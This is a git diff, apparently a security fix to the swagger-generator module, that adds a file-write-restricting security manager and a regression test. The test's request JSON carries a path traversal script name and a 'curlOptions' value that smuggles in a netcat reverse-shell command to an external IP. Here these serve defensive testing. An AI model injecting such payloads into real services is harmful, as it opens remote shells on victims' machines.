diff --git a/grantall.policy b/grantall.policy
new file mode 100644
index 00000000000..1e6753ae520
--- /dev/null
+++ b/grantall.policy
@@ -0,0 +1,3 @@
+grant {
+ permission java.security.AllPermission;
+};
diff --git a/modules/swagger-generator/Dockerfile b/modules/swagger-generator/Dockerfile
index 3941869c875..0342f9f177f 100644
--- a/modules/swagger-generator/Dockerfile
+++ b/modules/swagger-generator/Dockerfile
@@ -11,6 +11,7 @@ WORKDIR /generator
COPY docker/jetty_base /generator/
COPY docker/ROOT.xml /generator/webapps/ROOT.xml
COPY target/*.war /generator/webapps/ROOT.war
+COPY grantall.policy /generator/grantall.policy
ENV JETTY_BASE /generator
ARG HIDDEN_OPTIONS_DEFAULT_PATH
COPY ${HIDDEN_OPTIONS_DEFAULT_PATH} /generator/resources/
diff --git a/modules/swagger-generator/docker/jetty_base/start b/modules/swagger-generator/docker/jetty_base/start
index 16f93845c26..308c9c2fbd0 100755
--- a/modules/swagger-generator/docker/jetty_base/start
+++ b/modules/swagger-generator/docker/jetty_base/start
@@ -43,7 +43,7 @@ JAVA_DEBUG_OPTIONS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8005,server=y,
# APP options
APP_OPTS="-DHIDDEN_OPTIONS_PATH=${HIDDEN_OPTIONS_PATH} -DHIDDEN_OPTIONS=${HIDDEN_OPTIONS}"
# JVM options
-JAVA_OPTS="-server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"
+JAVA_OPTS="-Djava.security.manager -Djava.security.policy==grantall.policy -DgeneratorWriteDirs="/tmp" -server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"
echo "Starting application with command: "
echo ${JAVA_EXEC} ${JETTY_OPTS} ${APP_OPTS} ${JAVA_OPTS} -jar $JETTY_HOME/start.jar
diff --git a/modules/swagger-generator/grantall.policy b/modules/swagger-generator/grantall.policy
new file mode 100644
index 00000000000..1e6753ae520
--- /dev/null
+++ b/modules/swagger-generator/grantall.policy
@@ -0,0 +1,3 @@
+grant {
+ permission java.security.AllPermission;
+};
diff --git a/modules/swagger-generator/pom.xml b/modules/swagger-generator/pom.xml
index 62eb2f42692..680105e15b6 100644
--- a/modules/swagger-generator/pom.xml
+++ b/modules/swagger-generator/pom.xml
@@ -38,10 +38,27 @@
+
+ org.apache.maven.plugins
+ maven-surefire-plugin
+ ${surefire-version}
+
+
+ ${java.security.policy}
+ /tmp,.
+
+
+
org.apache.maven.plugins
maven-failsafe-plugin
2.22.0
+
+
+ ${java.security.policy}
+ /tmp,.
+
+
integration-test
@@ -79,6 +96,10 @@
logback.configurationFile
src/main/resources/logback.xml
+
+ java.security.policy
+ ${java.security.policy}
+
/
@@ -364,6 +385,7 @@
+ grantall.policy
true
unstable
1.0.0
diff --git a/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java
index b01371d31ff..100ce3b0aff 100644
--- a/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java
+++ b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java
@@ -10,6 +10,7 @@
import io.swagger.v3.core.util.Yaml;
import io.swagger.codegen.v3.service.GenerationRequest;
import io.swagger.v3.generator.model.HiddenOptions;
+import io.swagger.v3.generator.util.FileAccessSecurityManager;
import io.swagger.v3.generator.util.ZipUtil;
import io.swagger.oas.inflector.models.RequestContext;
import io.swagger.oas.inflector.models.ResponseContext;
@@ -52,6 +53,9 @@ public class GeneratorController {
private static String PROP_HIDDEN_OPTIONS = "HIDDEN_OPTIONS";
static {
+ // allow writing files only to directories configgured via generatorWriteDirs sys prop
+ // e.g. -DgeneratorWriteDirs="/tmp"
+ System.setSecurityManager(new FileAccessSecurityManager());
hiddenOptions = loadHiddenOptions();
final ServiceLoader loader = ServiceLoader.load(CodegenConfig.class);
diff --git a/modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java
new file mode 100644
index 00000000000..e7b81ad424a
--- /dev/null
+++ b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java
@@ -0,0 +1,48 @@
+package io.swagger.v3.generator.util;
+
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.io.IOException;
+import java.security.AccessControlException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class FileAccessSecurityManager extends SecurityManager {
+
+ static Logger LOGGER = LoggerFactory.getLogger(FileAccessSecurityManager.class);
+
+ static List allowedDirectories= StringUtils.isBlank(System.getProperty("generatorWriteDirs")) ? new ArrayList<>() : Arrays.asList(System.getProperty("generatorWriteDirs").split(","));
+
+ @Override
+ public void checkWrite(String file) {
+ super.checkWrite(file);
+
+ if (allowedDirectories.isEmpty()) {
+ return;
+ }
+ if (!StringUtils.isBlank(file)) {
+ boolean granted = false;
+
+ for (String dir : allowedDirectories) {
+ try {
+ String dirPath = new File(dir).getCanonicalPath();
+ if (new File(file).getCanonicalPath().startsWith(dirPath)) {
+ granted = true;
+ }
+ } catch (IOException e) {
+ LOGGER.error("Exception getting absolute path for file {} and/or allowed dir ", file, e);
+ throw new SecurityException("Exception getting absolute path for allowed dir " + dir + " and/or file " + file);
+ }
+
+ }
+ if (!granted) {
+ LOGGER.error("Blocking attempt to write to not allowed directory for file " + file);
+ throw new AccessControlException("Error writing file to " + file + " as target dir is not allowed");
+ }
+ }
+ }
+}
diff --git a/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java b/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java
index b5cc83240f8..6b37a8add59 100644
--- a/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java
+++ b/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java
@@ -39,4 +39,95 @@ public void generateJava() throws Exception {
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"java-client-generated.zip\""));
}
+
+
+ @Test
+ public void generateBashWithAndWithoutSecurityThreat() throws Exception {
+
+ String requestJson = "{\n" +
+ " \"lang\": \"bash\",\n" +
+ " \"spec\": {\n" +
+ " \"swagger\": \"2.0\",\n" +
+ " \"info\": {\n" +
+ " \"title\": \"Sample API\",\n" +
+ " \"description\": \"API description in Markdown.\",\n" +
+ " \"version\": \"1.0.0\"\n" +
+ " },\n" +
+ " \"paths\": {\n" +
+ " \"/users\": {\n" +
+ " \"get\": {\n" +
+ " \"produces\": [\n" +
+ " \"application/json\"\n" +
+ " ],\n" +
+ " \"responses\": {\n" +
+ " \"200\": {\n" +
+ " \"description\": \"OK\"\n" +
+ " }\n" +
+ " }\n" +
+ " }\n" +
+ " }\n" +
+ " }\n" +
+ " },\n" +
+ " \"type\": \"CLIENT\",\n" +
+ " \"codegenVersion\": \"V2\",\n" +
+ " \"options\": {\n" +
+ " \"additionalProperties\": {\n" +
+ " \"scriptName\": \"../mytemp/start\",\n" +
+ " \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
+ " }\n" +
+ " }\n" +
+ "}";
+
+
+ GenerationRequest generationRequest = Json.mapper().readValue(requestJson, GenerationRequest.class);
+
+ GeneratorController g = new GeneratorController();
+ RequestContext r = new RequestContext();
+ ResponseContext rr = g.generate(r, generationRequest);
+ Assert.assertEquals(rr.getStatus(), 200);
+ Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
+ Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"bash-client-generated.zip\""));
+
+ String requestJsonWithThreatInTargetScriptName = "{\n" +
+ " \"lang\": \"bash\",\n" +
+ " \"spec\": {\n" +
+ " \"swagger\": \"2.0\",\n" +
+ " \"info\": {\n" +
+ " \"title\": \"Sample API\",\n" +
+ " \"description\": \"API description in Markdown.\",\n" +
+ " \"version\": \"1.0.0\"\n" +
+ " },\n" +
+ " \"paths\": {\n" +
+ " \"/users\": {\n" +
+ " \"get\": {\n" +
+ " \"produces\": [\n" +
+ " \"application/json\"\n" +
+ " ],\n" +
+ " \"responses\": {\n" +
+ " \"200\": {\n" +
+ " \"description\": \"OK\"\n" +
+ " }\n" +
+ " }\n" +
+ " }\n" +
+ " }\n" +
+ " }\n" +
+ " },\n" +
+ " \"type\": \"CLIENT\",\n" +
+ " \"codegenVersion\": \"V2\",\n" +
+ " \"options\": {\n" +
+ " \"additionalProperties\": {\n" +
+ " \"scriptName\": \"../../mytemp/start\",\n" +
+ " \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
+ " }\n" +
+ " }\n" +
+ "}";
+
+
+ generationRequest = Json.mapper().readValue(requestJsonWithThreatInTargetScriptName, GenerationRequest.class);
+
+ g = new GeneratorController();
+ r = new RequestContext();
+ rr = g.generate(r, generationRequest);
+ Assert.assertEquals(rr.getStatus(), 500);
+ }
}